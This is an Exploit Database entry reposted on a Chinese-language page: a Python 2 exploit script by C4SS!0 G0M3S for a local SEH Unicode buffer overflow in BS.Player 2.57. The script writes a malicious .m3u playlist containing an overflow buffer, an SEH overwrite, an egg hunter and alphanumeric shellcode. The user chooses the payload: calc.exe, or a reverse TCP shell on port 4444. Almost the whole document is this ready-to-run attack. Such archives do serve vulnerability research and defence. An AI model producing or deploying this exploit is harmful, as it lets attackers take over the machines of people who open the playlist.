BS.Player 2.57 – Local Buffer Overflow (SEH Unicode)

Exploit Database
109 阅读

作者： C4SS!0 G0M3S

日期： 2011-01-07
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/15934/

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#[+]Exploit Title: Exploit Buffer Overfloe Bsplayer 2.57(UNICODE-SEH)

#[+]Date: 01\07\2010

#[+]Author: C4SS!0 G0M3S

#[+]Software Link: http://www.bsplayer.com/services/downlad-free-bsplayer.php?type=2

#[+]Version: 2.57

#[+]Tested on: WIN-XP SP3 PORTUGUESE BRAZILIAN

#[+]CVE: N/A

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#Created By C4SS!0 G0M3S

#Louredo_@hotmail.com

#www.invasao.com.br

import os

import sys

import time

import string

os.system("cls")

os.system("color 4f")

def usage():

print "\n"

print "[+]Exploit: Exploit Buffer Overflow Bsplayer(UNICODE-SEH)"

print "[+]Date: 01\\07\\2010"

print "[+]Author: C4SS!0 G0M3S"

print "[+]Home: www.invasao.com.br"

print "[+]E-mail: Louredo_@hotmail.com"

print "[+]Version: 2.57"

print "[+]Software: Bsplayer 2.57\n"

print "[-]Note:"

print "TO EXPLOIT THE RUN FILE NAME MUST BE FILE_NAME.M3U\n"

if((len(sys.argv)!=3) or (int(sys.argv[1])<1) or (int(sys.argv[1])>2)):

usage()

print "Payloads:\n1 - WinExec(\"Calc.exe\",0)\n2 - Reverse_Tcp_Shell\n"

print "[-]Usage: "+sys.argv[0]+" <Playload Number> <File Name>"

print "[-]Exemple: "+sys.argv[0]+" 1 Exploit.m3u"

sys.exit(0)

usage()

buffer = "\x42" * 4102

nseh = "\x61\x6d"

seh = "\xde\x4e" #pop ebx - pop ebp - ret at 0x004E00DE [bsplayer.exe]

egg_hunter = "\x45\x61\x45\x61\x45\x50\x45\xc3"

junk = "\x45" * 1094

print "[*]Identifying the length Shellcode"

time.sleep(1)

if int(sys.argv[1]) == 2:

shellcode = ("PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZ"

"ABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBNKWY7N4PV9X6PQX1PV9JYNZ9SDMTZTR" #

"83SY0KT01RPLLLCBPLLT2RLPJX9KKTOX3NZUKKV0VLK3Y3MLRONMMJU2VWC8VQKQSOPTZT3CTK1LPUR6" #

"KZR65RJC7NPWDLVRZQUMFMV85BXR7BOG8SCKUNXUVMVGIPMKJJZ6XSQ40ORI2UTOWNWRXVF679XJWYPL" #FROM METASPLOIT FRAMEWORK

"OU2QOXQNN0GGLNM3HJLRVWUSKO4OWMVOZKXLKLY2B3U1BQMPEBVMQEEFULKP12N8GHWH43CROTS2NPPD" #

"QT0YXLS5MOM3OCKSRWPFLJWWN19PSXXOFKYD7KLN3WYMFFEJY7LO785W6C1TM7MOURUH7EOM1FZTEMOJ" #SHELLCODE REVERSE_TCP_SHELL ON PORT 4444

"28TUN2LK0SKNTKKPHJSDRKLFONNC2620QXQTRFZUE3UGR8TOL5V3YO47PRSMMBURNNL9MNEHNELX5NOW" #

"Q8C5UPOLK3BIRSQBOXVDD9STOI8LHBM1Y3PEPOKMQOMKRN8JZIJ3MPJ0VRRYY92VP0DLVJ3TVJFWKSKB" #PROMPT:

"QCMXW7O30CRZRF7JK7JV4S2SRM9M5RRTOZZVFYQQDKKW1LY7S6LZFJLLZNXMJB685QOJGLNKNITOCZSK" #

"QITVVPONFL6LN0O1RVBINM6OLML4XL0TNL6RRVN28UOKSULQJXYLLY9NLM57LVDS8NY2PMQ3MORRMHQD" #C:\>Telnet 127.0.0.1 4444

"BEINV9QY8U0MN1ZTUPPO3KGMVDOQWLNEUOJLWKE6UPNMBX12QURRNVJN78DYMXKOMHNA")#

if int(sys.argv[1]) == 1:

shellcode = ("PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZ"

"ABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBIKY0NQ99GO3LLVRPHLXY2TMTL46QMNR"

"8P1SHN853YXKLKSSHQXL4TENPSHWL3599RX6VNCJUKCH4VNSMM25ZOJP2MLWORBZMMM1DJ5QVO9MQ9W4"

"V30ZUBQWZLFP5KELTXGCLKKMKLE2KZPNG9MOXKMNBNXMKVBK893KGOKSJXOPLPOMS8SR3UTPWKGHXOKT"

"CDN4CMOQG1C34R171NSXML5WVKE7QSN4XL5VJZQM5W8O669OMOK90J9KN0Q31VVLNNOCUN957X7SHNOP"

"YTP3KXWLE3O9XCKXJA")

print "[*]The Length Shellcode:"+str(len(shellcode))

time.sleep(1)

shellcode += "\x41" * 5000

file = str(sys.argv[2])

payload = buffer+nseh+seh+egg_hunter+junk+shellcode

op = "w"

print "[*]Creating Your File "+file

time.sleep(1)

try:

f = open(file,op)

f.write("http://"+payload)

f.close()

print "[*]The File "+file+" was Successfully Created"

except:

print "[*]Error Creating File "+file